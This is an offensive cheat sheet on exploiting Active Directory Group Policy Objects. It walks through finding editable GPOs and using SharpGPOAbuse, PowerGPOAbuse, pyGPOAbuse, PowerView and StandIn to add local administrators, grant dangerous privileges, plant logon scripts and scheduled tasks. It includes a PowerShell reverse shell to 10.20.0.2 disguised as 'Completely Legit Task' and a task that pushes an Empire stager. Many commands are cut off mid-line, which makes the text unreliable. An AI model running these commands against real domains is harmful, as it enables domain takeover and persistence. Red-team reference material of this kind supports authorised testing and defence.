# Group Policy Objects (GPO) Exploitation ## Tools: Bloodhound, PowerGPOAbuse, SharpGPOAbuse, pyGPOAbuse, Powerview, StandIn ## Location stored: SYSVOL directory ### Creators of a GPO are automatically granted explicit Edit settings, delete, modify security, which manifests as CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner ### GPO Prioritization: Organization Unit > Domain > Site > Local ### GPO are stored in the DC in \\\\SYSVOL\\Policies\\ , inside two folders User and Machine. If you have the right to edit the GPO you can connect to the DC and replace the files. Planned Tasks are located at Machine\Preferences\ScheduledTasks . ### Domain members refresh group policy settings every 90 minutes with a random offset of 0 to 30 minutes but it can locally be forced with the following command: ``` gpupdate /force . ``` ## Finding vulnerable GPO ### Look a GPLink where you have the Write right. ``` Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object { $_.ActiveDirectoryRights -like "*WriteProperty*" } ``` #### 1) ``` runas /netonly /user:DOMAIN\AD_USERNAME cmd.exe ``` #### 2) ``` dir \\DOMAIN\sysvol ``` #### 3) mmc #### 4) File -> Add/Remove Snap-in #### 5) Group Policy Management then click Add #### 6) OK #### 7) Navigate to GPO our user has permission to modify #### 8) Right-click on GPO and select edit ### Add our account to local groups #### 1) Expand Computer Configuration #### 2) Expand Policies #### 3) Expand Windows Settings #### 4) Expand Security Settings #### 5) Right-click on Restricted Groups and select Add Group #### 6) Click browse, enter IT Support (example) and click Check Names #### 7) Click OK twice #### 8) On second filter, add Administrators and Remote Desktop Users groups #### 9) Apply and OK then WAIT FOR 15 MINUTES FOR THE GPO TO BE APPLIED ## SharpGPOAbuse #### 1) Build and configure SharpGPOAbuse ``` Install-Package CommandLineParser -Version 1.9.3.15 $ ILMerge.exe /out:C:\SharpGPOAbuse.exe C:\Release\SharpGPOAbuse.exe C:\Release\CommandLine. ``` #### 2) Adding User Rights ``` .\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" ``` #### 3) Adding a Local Admin ``` .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount bob.smith --GPOName "Vulnerable GPO" ``` #### 4) Configuring a User or Computer Logon script ``` .\SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents ``` #### 5) Configuring a Computer or User Immediate Task ### /!\ Intended to "run once" per GPO refresh, not run once per system ``` .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command .\SharpGPOAbuse.exe --AddComputerTask --GPOName "VULNERABLE_GPO" --Author 'LAB.LOCAL\ ``` ## PowerGPOAbuse #### 1) Run the module ``` PS> . .\PowerGPOAbuse.ps1 ``` #### 2) Adding a localadmin ``` PS> Add-LocalAdmin -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO' ``` #### 3) Assign a new right ``` PS> Add-UserRights -Rights "SeLoadDriverPrivilege","SeDebugPrivilege" -Identity 'Bobby' -GPOIdentity 'SuperSecureGPO' ``` #### 4) Adding a New Computer/User script ``` PS> Add-ComputerScript/Add-UserScript -ScriptName 'EvilScript' -ScriptContent $(Get ``` #### 5) Create an immediate task ``` PS> Add-GPOImmediateTask -TaskName 'eviltask' -Command 'powershell.exe /c' -CommandArguments ``` ## pyGPOAbuse #### 1) Add john user to local administrators group (Password: H4x00r123..) ``` ./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" ``` #### 2) Reverse shell ``` ./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" ``` -powershell\ -command "$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\ -taskname "Completely Legit Task"\ -description "Dis is legit, pliz no delete"\ -user ## Powerview #### 1) Enumerate GPO ``` Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} ``` #### 2) New-GPOImmediateTask to push an Empire stager out to machines via VulnGPO ``` New-GPOImmediateTask -TaskName Debugging -GPODisplayName VulnGPO -CommandArguments ``` ## StandIn #### 1) Add a local administrator ``` StandIn.exe --gpo --filter Shards --localadmin user002 ``` #### 2) Set custom right to a user ``` StandIn.exe --gpo --filter Shards --setuserrights user002 --grant "SeDebugPrivilege ``` #### 3) Execute custom command ``` StandIn.exe --gpo --filter Shards --tasktype computer --taskname Liber --author "REDHOOK ```